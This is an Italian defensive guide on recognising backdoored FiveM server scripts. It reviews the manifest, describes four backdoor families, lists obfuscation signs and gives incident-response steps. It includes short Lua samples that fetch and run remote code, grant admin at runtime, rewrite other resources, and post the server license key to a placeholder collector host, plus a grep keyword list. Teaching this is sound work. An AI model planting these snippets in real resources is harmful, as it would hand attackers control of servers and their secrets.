# Come riconoscere uno script FiveM con backdoor

Le quattro forme che prende una backdoor, come leggere una resource prima che venga eseguita, e cosa fare per primo quando ne trovi una. Ordinato per quello che ti protegge davvero.

- Piattaforma: FiveM
- Pagina canonica: https://devtoolsgg.com/it/guides/fivem/spot-a-backdoor

Qualcuno ti manda uno script "leakato gratis". Lo metti in `resources`, riavvii,
e funziona tutto. Tre settimane dopo uno sconosciuto ha l'admin, il tuo database
è sparito, oppure il tuo server sta silenziosamente girando pubblicità ai tuoi
stessi giocatori.

Questa guida spiega come guardare una resource **prima** che venga eseguita,
cosa significano davvero i pattern, e cosa fare quando ne trovi uno.

> [!IMPORTANT]
> Niente qui carica i tuoi file. Lo
> [scanner di backdoor](/it/fivem/backdoor-scanner) li legge nel tuo browser, che
> è l'unico modo sensato di esaminare uno script di cui già non ti fidi.

## Comincia leggendo il manifest

`fxmanifest.lua` decide cosa gira. Aprilo per primo, ogni volta.

```lua
fx_version "cerulean"
game "gta5"

client_scripts {
    "client/*.lua",
}

server_scripts {
    "server/*.lua",
    "config/init.lua",
}
```

Due domande, in quest'ordine:

1. **Ogni file elencato ha senso per quello che questa resource dichiara di
   fare?** Uno script di parcheggio con un `server_script` chiamato
   `updater.lua` merita un'occhiata.
2. **C'è qualcosa caricato con un wildcard attraverso cui non vedi?**
   `server/*.lua` è normale, ma vuol dire anche che un file aggiunto dopo gira
   senza altre modifiche.

Poi confronta il manifest con la cartella. Un file che esiste su disco e *non* è
nel manifest di solito è zavorra. Un file nel manifest che non riesci a trovare
è un segnale ben peggiore.

## Le quattro forme che prende una backdoor

Quasi tutto ciò che è malevolo ricade in una di quattro famiglie. Conoscere la
famiglia conta più che imparare a memoria delle stringhe, perché le stringhe
cambiano e le forme no.

### 1. Codice scaricato a runtime ed eseguito

La resource scarica qualcosa e lo esegue. Quello che controlli oggi può servire
qualcosa di diverso domani.

```lua
PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body)
    if code == 200 then
        assert(load(body))()
    end
end, "GET")
```

`load`, `loadstring`, `RunString` e `assert(load(...))` trasformano del testo in
codice che gira. Accanto a una chiamata HTTP nello stesso file, non c'è lettura
innocente.

> [!WARNING]
> Un auto-updater è la copertura abituale. Un updater legittimo scarica un file
> e ti chiede di riavviare. Non esegue in memoria quello che ha scaricato.

### 2. Permessi concessi a runtime

La famiglia più silenziosa, e quella che sfugge, perché niente sembra strano
finché un account che nessuno ha creato non ha accesso completo.

```lua
RegisterNetEvent("core:sync", function(identifier)
    ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier))
end)
```

Qui ci sono due cose sbagliate. Un `add_principal` a runtime non dovrebbe mai
arrivare da una resource che non hai scritto tu, e l'evento prende un identifier
**dal client**, quindi chiunque può chiamarlo con il proprio.

Cerca in qualsiasi resource `add_principal`, `add_ace` ed `ExecuteCommand`. In
uno script di gameplay normale il conteggio è zero.

### 3. Persistenza e reinfezione

La parte interessante di una backdoor seria è cosa succede dopo che l'hai
trovata.

```lua
SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)
```

`SaveResourceFile` permette a una resource di riscrivere **un'altra** resource.
Cancelli lo script malevolo e torna da quella che è stata riscritta. È per
questo che trovare un file non è la stessa cosa che essere puliti.

### 4. Esfiltrazione di secret

Il motivo per cui valeva la pena piazzarla.

```lua
local key = GetConvar("sv_licenseKey", "")
PerformHttpRequest("https://example-collector.tld/k", nil, "POST", key)
```

Una resource che legge `sv_licenseKey`, `steam_webApiKey`, `rcon_password` o la
tua stringa di connessione MySQL non ha nessun motivo legittimo per farlo. E
nemmeno una URL di webhook Discord che non hai aggiunto tu.

## L'offuscamento non è il reato, ma è il segnale

Parecchi script a pagamento sono offuscati per proteggere una licenza, quindi
l'offuscamento da solo non significa malevolo. Significa che **non puoi
controllarlo**, e quella è una decisione che dovresti prendere di proposito e
non per caso.

| Cosa vedi | Cosa significa |
|---|---|
| `\x68\x74\x74\x70` ripetuto | stringhe escapate in esadecimale, che nascondono una URL o un nome |
| `string.char(104, 116, 116, 112)` | stessa idea, in decimale |
| Una riga singola da oltre 800 caratteri | minificato, così nessuno ci passa sopra l'occhio |
| Nomi in stile `_0x4f2a` | un offuscatore JavaScript, comune nei payload NUI |
| `LPH_NO_VIRTUALIZE`, `IronBrew`, `Luraph` | un offuscatore Lua, chiamato per nome |

La regola onesta: un file offuscato di un venditore a pagamento che hai scelto tu
è un rischio che hai accettato. Un file offuscato dentro un leak gratuito è un
rischio che qualcun altro ha scelto per te.

> [!TIP]
> I blocchi esadecimali e Base64 si decodificano in un passaggio con il
> [decoder Base64, hex e URL](/it/shared/encoding). Gira anch'esso nel tuo
> browser, quindi non stai incollando un payload sospetto nel sito di uno
> sconosciuto.

## Fai questo prima di ogni installazione

Una routine breve intercetta quasi tutto.

1. **Analizza l'archivio.** Trascina lo `.zip` direttamente nello
   [scanner di backdoor](/it/fivem/backdoor-scanner). Legge gli zip senza
   estrarli da nessuna parte.
2. **Leggi il manifest**, e confrontalo con il contenuto della cartella.
3. **Fai grep delle quattro famiglie.** `load(`, `PerformHttpRequest`,
   `add_principal`, `SaveResourceFile`, `GetConvar`.
4. **Installala prima su un server di test**, con una licence key usa e getta e
   un database che non contiene niente.
5. **Guarda la console al primo avvio.** Le backdoor che chiamano casa di solito
   lo fanno subito, e un errore HTTP all'avvio è un regalo.

## Quando ne trovi una

Qui l'ordine conta, e l'istinto di cancellare prima il file è sbagliato.

1. **Ferma il server.** Non la resource. Il server.
2. **Cambia tutti i secret**: la `sv_licenseKey` dal
   [portale Cfx](https://portal.cfx.re), la password del tuo database, i tuoi
   webhook Discord, qualsiasi chiave API dentro una convar. Dai per scontato che
   tutto quello che sta nel `server.cfg` sia noto. Il
   [generatore di secret](/it/shared/secret) produce i sostituti senza mandarli
   da nessuna parte.
3. **Controlla `add_principal` nelle tue config** e togli ogni identifier che
   non riconosci.
4. **Controlla le altre resource**, per via della famiglia 3. Una sola backdoor
   che ha usato `SaveResourceFile` significa che vanno lette anche le altre.
5. **Solo a quel punto** cancella la resource, e ripristina da un backup fatto
   prima che venisse installata, se ne hai uno.

> [!CAUTION]
> Cambiare la licence key senza cambiare la password del database non risolve
> niente. Chi ha avuto esecuzione di codice lato server ha avuto anche le tue
> credenziali.

## Cosa questo non può dirti

Il riconoscimento di pattern sul testo sorgente non è una prova.

Una backdoor scritta con cura può evitare ogni pattern di questa guida, e del
codice pulito a volte li fa scattare: una resource legittima può benissimo
chiamare `PerformHttpRequest`, e un sacco di script buoni leggono una convar. È
per questo che lo scanner spiega cosa significa ogni segnalazione invece di
stampare un verdetto.

Tratta un report come una lista di posti dove guardare, non come un giudizio. Il
giudizio resta tuo, ed è giusto così.


## Come citare

Come riconoscere uno script FiveM con backdoor, devtoolsgg.com. https://devtoolsgg.com/it/guides/fivem/spot-a-backdoor
